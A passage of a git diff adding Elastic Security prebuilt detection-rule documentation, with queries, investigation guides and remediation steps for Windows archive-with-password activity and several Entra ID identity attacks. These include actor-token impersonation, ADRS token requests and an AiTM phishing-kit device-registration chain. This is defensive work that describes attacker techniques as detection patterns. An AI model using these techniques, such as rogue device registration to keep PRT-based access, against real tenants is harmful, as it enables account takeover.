Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and +( + ( + ( + process.name : ("rar.exe", "WinRAR.exe") or ?process.code_signature.subject_name == "win.rar GmbH" or + ?process.pe.original_file_name == "WinRAR.exe" + ) and + process.args == "a" and process.args : ("-hp*", "-p*", "/hp*", "/p*") + ) or + ( + (process.name : ("7z.exe", "7za.exe") or ?process.pe.original_file_name in ("7z.exe", "7za.exe")) and + process.args == "a" and process.args : "-p*" + ) +) and + not process.parent.executable : ( + "C:\\Program Files\\*.exe", + "C:\\Program Files (x86)\\*.exe", + "?:\\ManageEngine\\*\\jre\\bin\\java.exe", + "?:\\Nox\\bin\\Nox.exe", + "\\Device\\HarddiskVolume?\\Program Files\\*.exe", + "\\Device\\HarddiskVolume?\\Program Files (x86)\\*.exe", + "\\Device\\HarddiskVolume?\\ManageEngine\\*\\jre\\bin\\java.exe", + "\\Device\\HarddiskVolume?\\Nox\\bin\\Nox.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ +* Technique: +** Name: Archive Collected Data +** ID: T1560 +** Reference URL: https://attack.mitre.org/techniques/T1560/ +* Sub-technique: +** Name: Archive via Utility +** ID: T1560.001 +** Reference URL: https://attack.mitre.org/techniques/T1560/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-endpoint-security-elastic-defend.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-endpoint-security-elastic-defend.asciidoc new file mode 100644 index 0000000000..2206925e1b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-endpoint-security-elastic-defend.asciidoc @@ -0,0 +1,127 @@ +[[prebuilt-rule-8-19-34-endpoint-security-elastic-defend]] +=== Endpoint Security (Elastic Defend) + +Generates a detection alert each time an Elastic Defend alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts. + +*Rule type*: query + +*Rule indices*: + +* logs-endpoint.alerts-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1m + +*Searches indices from*: now-2m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: None + +*Tags*: + +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Domain: Endpoint + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Endpoint Security (Elastic Defend)* + + +Elastic Defend is a robust endpoint security solution that monitors and protects systems by analyzing events and generating alerts for suspicious activities. Adversaries may exploit endpoints by executing unauthorized code or manipulating system processes. The detection rule leverages event data to identify alerts from Elastic Defend, focusing on potential threats while excluding non-relevant modules, thus enabling timely investigation of endpoint anomalies. + + +*Possible investigation steps* + + +- Review the alert details to understand the specific event.kind:alert and event.module: endpoint that triggered the alert, ensuring it is not related to the excluded endgame module. +- Examine the timeline of events leading up to the alert to identify any unusual or unauthorized activities, such as unexpected process executions or system changes. +- Correlate the alert with other security events or logs from the same endpoint to gather additional context and determine if there is a pattern of suspicious behavior. +- Investigate the source and destination of any network connections associated with the alert to identify potential command and control activity or data exfiltration attempts. +- Check for any recent changes or updates to the endpoint's software or configuration that could explain the alert, ensuring they are legitimate and authorized. +- Assess the risk score and severity of the alert in conjunction with other alerts from the same endpoint to prioritize the investigation and response efforts. + + +*False positive analysis* + + +- Alerts triggered by routine software updates can be false positives. Users can create exceptions for known update processes to prevent unnecessary alerts. +- System maintenance activities, such as scheduled scans or backups, may generate alerts. Exclude these activities by identifying their specific event signatures and adding them to the exception list. +- Legitimate administrative actions, like remote desktop sessions or script executions by IT staff, might be flagged. Define exceptions for these actions by correlating them with authorized user accounts or IP addresses. +- Frequent alerts from non-malicious applications that interact with system processes can be excluded by whitelisting these applications based on their hash or path. +- Network monitoring tools that simulate attack patterns for testing purposes may trigger alerts. Exclude these tools by specifying their known behaviors and IP ranges in the exception settings. + + +*Response and remediation* + + +- Isolate the affected endpoint immediately to prevent further unauthorized access or lateral movement within the network. +- Analyze the alert details to identify the specific unauthorized code or process manipulation involved, and terminate any malicious processes identified. +- Remove any unauthorized code or files from the affected endpoint, ensuring that all traces of the threat are eradicated. +- Conduct a thorough review of system logs and event data to identify any additional indicators of compromise or related suspicious activities. +- Update endpoint security configurations and signatures to prevent similar threats from exploiting the same vulnerabilities in the future. +- Restore the affected endpoint from a known good backup if necessary, ensuring that the system is free from any residual threats. +- Escalate the incident to the security operations center (SOC) or relevant team for further analysis and to determine if additional systems may be affected. + +==== Setup + + + +*Setup* + + + +*Elastic Defend Alerts* + +If this rule is disabled, you will not receive alerts for Elastic Defend alerts. This rule is designed to capture all alerts generated by Elastic Defend. For more granular alerting, consider using additional prebuilt-rules that capture specific Elastic Defend alerts. + +If this rule is enabled, along with the related rules listed below, you will receive duplicate alerts for the same events. To avoid this, it is recommended to disable this generic rule and enable the more specific rules that capture these alerts separately. + +Related rules: +- Behavior - Detected - Elastic Defend (UUID: 0f615fe4-eaa2-11ee-ae33-f661ea17fbce) +- Behavior - Prevented - Elastic Defend (UUID: eb804972-ea34-11ee-a417-f661ea17fbce) +- Malicious File - Detected - Elastic Defend (UUID: f2c3caa6-ea34-11ee-a417-f661ea17fbce) +- Malicious File - Prevented - Elastic Defend (UUID: f87e6122-ea34-11ee-a417-f661ea17fbce) +- Memory Threat - Detected - Elastic Defend (UUID: 017de1e4-ea35-11ee-a417-f661ea17fbce) +- Memory Threat - Prevented - Elastic Defend (UUID: 06f3a26c-ea35-11ee-a417-f661ea17fbce) +- Ransomware - Detected - Elastic Defend (UUID: 0c74cd7e-ea35-11ee-a417-f661ea17fbce) +- Ransomware - Prevented - Elastic Defend (UUID: 10f3d520-ea35-11ee-a417-f661ea17fbce) + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.kind:alert and event.module:(endpoint and not endgame) + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-actor-token-user-impersonation-abuse.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-actor-token-user-impersonation-abuse.asciidoc new file mode 100644 index 0000000000..018a44dc8b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-actor-token-user-impersonation-abuse.asciidoc @@ -0,0 +1,163 @@ +[[prebuilt-rule-8-19-34-entra-id-actor-token-user-impersonation-abuse]] +=== Entra ID Actor Token User Impersonation Abuse + +Identifies potential abuse of actor tokens in Microsoft Entra ID audit logs. Actor tokens are undocumented backend mechanisms used by Microsoft for service-to-service (S2S) operations, allowing services to perform actions on behalf of users. These tokens appear in logs with the service's display name but the impersonated user's UPN. While some legitimate Microsoft operations use actor tokens, unexpected usage may indicate exploitation of CVE-2025-55241, which allowed unauthorized access to Azure AD Graph API across tenants before being patched by Microsoft. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 8m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://dirkjanm.io/obtaining-global-admin-in-every-entra-id-tenant-with-actor-tokens/ +* https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2025-55241 + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Entra ID +* Data Source: Entra ID Audit Logs +* Data Source: Entra Audit Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: ES|QL +* Platform: Entra ID +* Vuln: CVE-2025-55241 + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Actor Token User Impersonation Abuse* + + +This rule detects when Microsoft services use actor tokens to perform operations in audit logs. Actor tokens are undocumented backend mechanisms used by Microsoft for service-to-service (S2S) communication. They appear with a mismatch: the service's display name but the impersonated user's UPN. While some operations legitimately use actor tokens, unexpected usage may indicate exploitation of CVE-2025-55241, which allowed attackers to obtain Global Admin privileges across any Entra ID tenant. Note that this vulnerability has been patched by Microsoft as of September 2025. + + +*Possible investigation steps* + + +- Review the `azure.auditlogs.properties.initiated_by.user.userPrincipalName` field to identify which service principals are exhibiting this behavior. +- Check the `azure.auditlogs.properties.initiated_by.user.displayName` to confirm these are legitimate Microsoft services. +- Analyze the actions performed by these service principals - look for privilege escalations, permission grants, or unusual administrative operations. +- Review the timing and frequency of these events to identify potential attack patterns or automated exploitation. +- Cross-reference with recent administrative changes or service configurations that might explain legitimate use cases. +- Check if any new applications or service principals were registered recently that could be related to this activity. +- Investigate any correlation with other suspicious authentication events or privilege escalation attempts in your tenant. + + +*False positive analysis* + + +- Legitimate Microsoft service migrations or updates may temporarily exhibit this behavior. +- Third-party integrations using Microsoft Graph or other APIs might trigger this pattern during normal operations. +- Automated administrative tools or scripts using service principal authentication could be misconfigured. + + +*Response and remediation* + + +- Immediately review and audit all service principal permissions and recent consent grants in your Entra ID tenant. +- Disable or restrict any suspicious service principals exhibiting this behavior until verified. +- Review and revoke any unnecessary application permissions, especially those with high privileges. +- Enable and review Entra ID audit logs for any permission grants or role assignments made by these service principals. +- Implement Conditional Access policies to restrict service principal authentication from unexpected locations or conditions. +- Enable Entra ID Identity Protection to detect and respond to risky service principal behaviors. +- Review and harden application consent policies to prevent unauthorized service principal registrations. +- Consider implementing privileged identity management (PIM) for service principal role assignments. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-azure.auditlogs-* metadata _id, _version, _index +| where azure.auditlogs.properties.initiated_by.user.displayName in ( + "Office 365 Exchange Online", + "Skype for Business Online", + "Dataverse", + "Office 365 SharePoint Online", + "Microsoft Dynamics ERP" + ) and + not azure.auditlogs.operation_name like "*group*" and + azure.auditlogs.operation_name != "Set directory feature on tenant" + and azure.auditlogs.properties.initiated_by.user.userPrincipalName rlike ".+@[A-Za-z0-9.]+\\.[A-Za-z]{2,}" +| keep + @timestamp, + azure.*, + client.*, + event.*, + source.*, + _id, + _version, + _index + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-adrs-token-request-by-microsoft-authentication-broker.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-adrs-token-request-by-microsoft-authentication-broker.asciidoc new file mode 100644 index 0000000000..9f263de72e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-adrs-token-request-by-microsoft-authentication-broker.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-34-entra-id-adrs-token-request-by-microsoft-authentication-broker]] +=== Entra ID ADRS Token Request by Microsoft Authentication Broker + +Detects suspicious OAuth 2.0 token requests where the Microsoft Authentication Broker (29d9ed98-a469-4536-ade2-f981bc1d605e) requests access to the Device Registration Service (01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9) on behalf of a user principal. The presence of the adrs_access scope in the authentication processing details suggests an attempt to access ADRS, which is atypical for standard user sign-ins. This behavior may reflect an effort to abuse device registration for unauthorized persistence, such as acquiring a Primary Refresh Token (PRT) or establishing a trusted session. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-azure.signinlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Profile: Recommended +* Threat: AiTM Phishing +* Rule Type: Custom Query (KQL) +* Platform: Entra ID + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID ADRS Token Request by Microsoft Authentication Broker* + + +Detects suspicious OAuth 2.0 token requests where the Microsoft Authentication Broker (29d9ed98-a469-4536-ade2-f981bc1d605e) requests access to the Device Registration Service (01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9) on behalf of a user principal. The presence of the adrs_access scope in the authentication processing details suggests an attempt to access ADRS, which is atypical for standard user sign-ins. This behavior may reflect an effort to abuse device registration for unauthorized persistence, such as acquiring a Primary Refresh Token (PRT) or establishing a trusted session. + + +*Possible investigation steps* + +- Identify the user principal associated with the request by checking `azure.signinlogs.properties.user_principal_name` or `azure.signinlogs.properties.user_id`. +- Review the `azure.signinlogs.properties.app_id` and `azure.signinlogs.properties.resource_id` to confirm the request is made by the Microsoft Authentication Broker and targeting the Device Registration Service. +- Examine the `azure.signinlogs.properties.authentication_processing_details.Oauth Scope Info` for the presence of `adrs_access`, indicating an attempt to access ADRS. +- Check the `azure.signinlogs.properties.incoming_token_type` to confirm the request is made using a refresh token, which is typical for persistent access scenarios. +- Review the `azure.signinlogs.properties.user_type` to ensure it is a "Member" user, as this behavior is unusual for standard user accounts. +- Review the `source.address` and `source.geo.country_name` to identify the origin of the request. Look for any anomalies or unexpected locations. +- Check the `azure.signinlogs.properties.device_detail.operating_system` and `azure.signinlogs.properties.device_detail.browser` to identify the device and browser used for the request. Look for any unusual or unexpected devices for this user. +- Use the `azure.signinlogs.properties.session_id` to correlate this request with other sign-in events for the same user. Look for any patterns of suspicious activity or multiple requests in a short time frame. +- Correlate with Entra ID audit logs to identify any recent device registrations or changes to the user's device registration status. +- Pivot to primary refresh token (PRTs) usage for the same user and/or session ID to identify any potential abuse or unauthorized access attempts. + + +*False positive analysis* + +- Legitimate applications or services that require access to the Device Registration Service may trigger this rule. If this is expected behavior, consider adjusting the rule or adding exceptions for specific applications or user accounts. +- Users being onboarded or enrolled in new devices may also trigger this rule, especially if they are using the Microsoft Authentication Broker for the first time. + + +*Response and remediation* + +- If the request is confirmed to be suspicious or unauthorized, take immediate action to revoke the access token and prevent further access. +- Disable the user account temporarily to prevent any potential compromise or unauthorized access. +- Review the user's recent sign-in activity and access patterns to identify any potential compromise or unauthorized access. +- If the user account is compromised, initiate a password reset and enforce multi-factor authentication (MFA) for the user. +- Review the conditional access policies in place to ensure they are sufficient to prevent unauthorized access to sensitive resources. +- Consider deactivating any newly registered devices associated with the user account until further investigation is complete. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.signinlogs" and + azure.signinlogs.properties.app_id : "29d9ed98-a469-4536-ade2-f981bc1d605e" and + azure.signinlogs.properties.resource_id : "01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9" and + azure.signinlogs.category: "NonInteractiveUserSignInLogs" and + azure.signinlogs.properties.authentication_processing_details: *adrs_access* and + azure.signinlogs.properties.incoming_token_type: "refreshToken" and + azure.signinlogs.properties.user_type: "Member" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Device Registration +** ID: T1098.005 +** Reference URL: https://attack.mitre.org/techniques/T1098/005/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-aitm-phishing-kit-chain-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-aitm-phishing-kit-chain-detected.asciidoc new file mode 100644 index 0000000000..588682c506 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-aitm-phishing-kit-chain-detected.asciidoc @@ -0,0 +1,187 @@ +[[prebuilt-rule-8-19-34-entra-id-aitm-phishing-kit-chain-detected]] +=== Entra ID AiTM Phishing-Kit Chain Detected + +Identifies a Microsoft Entra ID identity-compromise chain in which a single user, within a 10-minute window, authenticates to the Device Registration Service through the Microsoft Authentication Broker (MAB) client, registers a device, and then uses the resulting Primary Refresh Token (PRT) to access a resource other than the Device Registration Service. This sequence is the core post-adversary-in-the-middle (AiTM) persistence pattern used by phishing kits such as Tycoon2FA and Kali365: after capturing a victim session, the kit registers an Azure AD-joined device to obtain a device-bound PRT, which survives user-level session revocation and password resets and grants trusted, MFA-free access. Correlating the broker sign-in, the device-registration audit event, and the follow-on PRT sign-in for the same user within a short window is a high-fidelity indicator of active account takeover. + +*Rule type*: eql + +*Rule indices*: + +* logs-azure.signinlogs-* +* logs-azure.auditlogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-15m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://any.run/malware-trends/tycoon/ +* https://www.huntress.com/blog/kali365-device-code-phishing-kit +* https://any.run/malware-trends/kali365/ +* https://arcticwolf.com/resources/blog/token-bingo-dont-let-your-code-be-the-winner/ +* https://www.elastic.co/security-labs/tycoon-2fa-aitm-detection-engineering + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Profile: Recommended +* Threat: AiTM Phishing +* Rule Type: Event Correlation (EQL) +* Platform: Entra ID + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID AiTM Phishing-Kit Chain Detected* + + +This rule correlates three events for the same user within a 10-minute window that together represent the canonical post-AiTM identity-compromise chain: + +1. A non-interactive sign-in through the Microsoft Authentication Broker (MAB) client (`app_id` `29d9ed98-a469-4536-ade2-f981bc1d605e`) to the `Device Registration Service` resource, with an `unbound` session token (`token_protection_status_details.sign_in_session_status`). +2. A successful `Register device` audit event initiated by the same user for a target device named `DESKTOP-*`. +3. An interactive sign-in using a `primaryRefreshToken` (PRT) to a resource other than the Device Registration Service, from an unmanaged device. + +After an AiTM kit captures a victim session, it registers an Azure AD-joined device to obtain a device-bound PRT. Because the PRT is bound to the device rather than the user session, it survives `revokeSignInSessions` and password resets, providing durable, MFA-free access. Observing the broker-to-DRS auth, the registration, and the first PRT use in quick succession is strong evidence of active account takeover rather than benign onboarding. + + +*Possible investigation steps* + + +- Identify the user via `azure.signinlogs.properties.user_principal_name` / `azure.signinlogs.properties.user_id` and the registered device via the `Register device` event (`azure.auditlogs.properties.target_resources.0.display_name`). Default `DESKTOP-` names that do not match your convention are suspicious. +- Review the source of each step: `source.ip`, `source.as.organization.name`, and `source.geo.*`. Hosting/VPS ASNs (for example Tencent or Alibaba) and unexpected geographies, or a single source driving all three steps, are high-fidelity suspicious. +- Inspect the registration user agent on the `Register device` event (`azure.auditlogs.properties.userAgent`); a spoofed `Dsreg/10.0 (Windows )` string or a raw HTTP client such as `axios/*` or `python-requests/*` indicates tooling. +- Confirm the PRT step: `azure.signinlogs.properties.incoming_token_type` is `primaryRefreshToken`, the device `trust_type` is `Azure AD joined`, and `device_detail.is_managed` is false (unmanaged), and the `resource_display_name` is a real resource (Microsoft Graph, Office 365 Exchange Online, etc.) rather than the Device Registration Service. +- Check for additional persistence established in the same window: an attacker-registered MFA method (`User registered security info`), multiple device registrations by the same user, or broker tokens minted for other resources. +- Review Conditional Access outcomes to determine whether device compliance or MFA was bypassed. + + +*False positive analysis* + + +- Legitimate Azure AD join / device onboarding can produce a broker-to-DRS auth followed by PRT issuance. Validate the device against inventory and confirm it is managed/compliant and registered from an expected source. +- Authorized security assessments that register devices and exercise PRTs will match. Document and add scoped exceptions. + + +*Response and remediation* + + +- Treat as likely account takeover. Remove the rogue device registration BEFORE revoking sessions, because device-bound PRTs survive `revokeSignInSessions` and a device left in place re-establishes access. + - `GET /v1.0/users/{id}/registeredDevices` and `/ownedDevices`, then `DELETE /v1.0/devices/{deviceObjectId}` for unrecognized devices. +- Revoke refresh tokens and sessions, then reset credentials and re-register MFA. + - `POST /v1.0/users/{id}/revokeSignInSessions`. +- Temporarily disable the account if activity must be halted during investigation. + - `PATCH /v1.0/users/{id}` with body `{"accountEnabled": false}`. +- Remove other attacker persistence: attacker-registered MFA methods, malicious inbox/forwarding rules, and OAuth consents. +- Tighten device registration and join controls via Conditional Access (restrict who can register/join devices, require MFA for registration, and require a compliant/managed device for resource access). + + +==== Rule query + + +[source, js] +---------------------------------- +sequence with maxspan=3m + [authentication where + data_stream.dataset == "azure.signinlogs" and + azure.signinlogs.category == "NonInteractiveUserSignInLogs" and + azure.signinlogs.properties.app_id == "29d9ed98-a469-4536-ade2-f981bc1d605e" and + azure.signinlogs.properties.resource_display_name == "Device Registration Service" and + azure.signinlogs.properties.incoming_token_type == "refreshToken" and + azure.signinlogs.properties.token_protection_status_details.sign_in_session_status == "unbound" and + azure.signinlogs.properties.user_type == "Member" and + azure.signinlogs.result_signature == "SUCCESS" + ] by azure.signinlogs.properties.user_id + [any where + data_stream.dataset == "azure.auditlogs" and + azure.auditlogs.operation_name == "Register device" and + azure.auditlogs.properties.initiated_by.user.id != null and + azure.auditlogs.properties.target_resources.`0`.display_name like "DESKTOP-*" and + event.outcome == "success" + ] by azure.auditlogs.properties.initiated_by.user.id + [authentication where + data_stream.dataset == "azure.signinlogs" and + azure.signinlogs.properties.incoming_token_type == "primaryRefreshToken" and + azure.signinlogs.properties.original_transfer_method == "deviceCodeFlow" and + azure.signinlogs.properties.is_interactive == true and + azure.signinlogs.properties.resource_display_name != "Device Registration Service" and + azure.signinlogs.properties.device_detail.is_managed != true and + azure.signinlogs.result_signature == "SUCCESS" + ] by azure.signinlogs.properties.user_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Device Registration +** ID: T1098.005 +** Reference URL: https://attack.mitre.org/techniques/T1098/005/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-application-credential-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-application-credential-modified.asciidoc new file mode 100644 index 0000000000..08709e730d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-application-credential-modified.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-34-entra-id-application-credential-modified]] +=== Entra ID Application Credential Modified + +Identifies when a new credential is added to an application in Azure. An application may use a certificate or secret string to prove its identity when requesting a token. Multiple certificates and secrets can be added for an application and an adversary may abuse this by creating an additional authentication method to evade defenses or persist in an environment. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.auditlogs-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/ + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Entra ID +* Domain: Identity +* Data Source: Entra ID Audit Logs + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Entra ID Application Credential Modified* + + +Azure applications use credentials like certificates or secret strings for identity verification during token requests. Adversaries may exploit this by adding unauthorized credentials, enabling persistent access or evading defenses. The detection rule monitors audit logs for successful updates to application credentials, flagging potential misuse by identifying unauthorized credential modifications. + + +*Possible investigation steps* + + +- Review the Azure audit logs to identify the specific application that had its credentials updated, focusing on entries with the operation name "Update application - Certificates and secrets management" and a successful outcome. +- Determine the identity of the user or service principal that performed the credential modification by examining the associated user or principal ID in the audit log entry. +- Investigate the context of the credential modification by checking for any recent changes or unusual activities related to the application, such as modifications to permissions or roles. +- Assess the legitimacy of the new credential by verifying if it aligns with expected operational procedures or if it was authorized by a known and trusted entity. +- Check for any additional suspicious activities in the audit logs around the same timeframe, such as failed login attempts or other modifications to the application, to identify potential indicators of compromise. +- Contact the application owner or relevant stakeholders to confirm whether the credential addition was expected and authorized, and gather any additional context or concerns they might have. + + +*False positive analysis* + + +- Routine credential updates by authorized personnel can trigger alerts. Regularly review and document credential management activities to distinguish between legitimate and suspicious actions. +- Automated processes or scripts that update application credentials as part of maintenance or deployment cycles may cause false positives. Identify and whitelist these processes to prevent unnecessary alerts. +- Credential updates during application scaling or migration might be flagged. Coordinate with IT teams to schedule these activities and temporarily adjust monitoring thresholds or exclusions. +- Third-party integrations that require periodic credential updates can be mistaken for unauthorized changes. Maintain an inventory of such integrations and establish baseline behaviors to filter out benign activities. +- Frequent updates by specific service accounts could be part of normal operations. Monitor these accounts separately and consider creating exceptions for known, 